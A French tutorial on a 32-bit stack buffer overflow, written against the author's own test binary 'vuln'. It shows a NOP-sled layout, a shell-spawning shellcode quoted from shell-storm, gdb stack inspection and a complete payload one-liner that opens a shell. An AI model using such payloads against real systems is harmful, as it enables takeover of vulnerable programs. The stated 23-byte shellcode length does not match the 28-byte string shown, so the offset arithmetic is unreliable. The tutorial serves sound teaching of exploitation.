Skip to main content

Premier exploit

Premier exploit

Maintenant que vous avez vu comment modifier la sauvegarde d'EIP d'une fonction afin de jump à n'importe quelle adresse, on va voir comment faire lancer un shell au programme!

Théorie de l'exploit

Voici comment notre exploit se présentera: <nopsled> <shellcode> <fake ret addr>

Pas de panique je vais detailler tout ça, alors on va commencer par envoyer au programme nos nopsled (série d'instructions nop 0x90) qui consiste tout simplement à ne rien faire, et à passer à l'instruction suivante :p

Ensuite le shellcode, c'est tout simplement une suite d'instruction qui va nous permettre de lancer un shell

Et pour finir la fake return address, c'est juste une adresse qui tombe au milieu de nos nopsled (l'adresse qui va overwrite la sauvegarde d'EIP)

Pour récapituler le programme va jump au milieu de nos nopsled (la stack bouge constament c'est pour ça qu'on va jump la où se trouve nos nopsled au lieu de directement jump là où notre shellcode se trouve), ensuite vu que notre stack est executable elle va tout simplement passer à l'instructions suivante, jusqu'à tomber sur notre shellcode qui va nous lancer un superbe shell Oo

Pratique

Bon bah on va mettre tout ça en pratique :p

On va commencer par chercher sur internet un shellcode tout fait, je vais en prendre un sur shell-storm, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80", parfait

Ensuite il faut calculer combien de NOP on doit mettre avant le shellcode, le tout doit faire 44 bytes (notre offset), le shellcode fait 23 bytes, on fait juste une petite soustraction, 44-23=21, on devra donc mettre 21 NOP avant le shellcode

Ensuite la fake return address, la partie la plus chiante, on va lancer notre programme dans gdb, lui envoyer tout nos nopsled, puis voir où ils se trouvent dans notre stack

Ducoup toujours sur gdb, on va lancer le programme en lui envoyant 44 NOPs, puis ensuite grace à la commande x/50x $esp-50 on va afficher 50 blocs de notre stack-50, (je vous invite à aller vous documenter à propos de gdb)

gef➤  r < <(python -c 'print "\x90"*44')
...
gef➤  x/50x $esp-50
0xffffcf1e:     0x90900804      0x90909090      0x90909090      0x90909090
0xffffcf2e:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffcf3e:     0x90909090      0x90909090      0x90909090      0x920a9090
0xffffcf4e:     0x40000804      0x4000f7fa      0x0000f7fa      0x9fb90000
0xffffcf5e:     0x0001f7dd      0xcff40000      0xcffcffff      0xcf84ffff
0xffffcf6e:     0x0001ffff      0x00000000      0x40000000      0x0000f7fa
0xffffcf7e:     0xd0000000      0x0000f7ff      0x40000000      0x4000f7fa
...

On voit notre série de NOP à partir de la première adresse, vu que la stack bouge beaucoup on va prendre une adresse au milieu 0xffffcf2e me parait bien, on met ça en little endian ce qui va rendre "\x2e\xcf\xff\xff"

Mettons tout ça en action!

Exploit final: <21 NOP> <shellcode> <\x2e\xcf\xff\xff>

gef➤  r < <(python -c 'print "\x90"*21+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x2e\xcf\xff\xff"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "\x90"*21+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x2e\xcf\xff\xff"')
���������������������1�Ph//shh/bin����°
...

$ ls
vuln.c  vuln
$

Et voila le shell c'est bien executé! n'hesiter pas à me faire part de vos avis sur cet article, posez vos questions si il le faut, et dites moi si j'ai fais des erreurs, ce qui est fort probable (ce domaine reste pas celui que je maitrise le mieux :p)